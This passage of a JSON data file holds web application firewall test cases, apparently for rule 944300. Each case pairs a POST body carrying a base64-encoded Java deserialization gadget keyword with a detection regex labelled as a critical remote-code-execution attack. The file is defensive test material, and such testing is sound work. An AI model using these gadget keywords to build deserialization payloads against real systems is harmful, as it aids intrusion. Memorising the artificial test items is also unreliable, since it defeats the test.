"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword BpbnZva2VydHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BpbnZva2VydHJhbnNmb3JtZXI" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword BpbnZva2VydHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"BpbnZva2VydHJhbnNmb3JtZXI\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword BpbnZva2VydHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"BpbnZva2VydHJhbnNmb3JtZXI\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword BpbnZva2VydHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=cHJvdG90eXBlY2xvbmVmYWN0b3J5" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cHJvdG90eXBlY2xvbmVmYWN0b3J5=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"cHJvdG90eXBlY2xvbmVmYWN0b3J5\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">cHJvdG90eXBlY2xvbmVmYWN0b3J5</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">cHJvdG90eXBlY2xvbmVmYWN0b3J5</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=cHJvdG90eXBlY2xvbmVmYWN0b3J5" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"cHJvdG90eXBlY2xvbmVmYWN0b3J5\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"cHJvdG90eXBlY2xvbmVmYWN0b3J5\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword cHJvdG90eXBlY2xvbmVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, 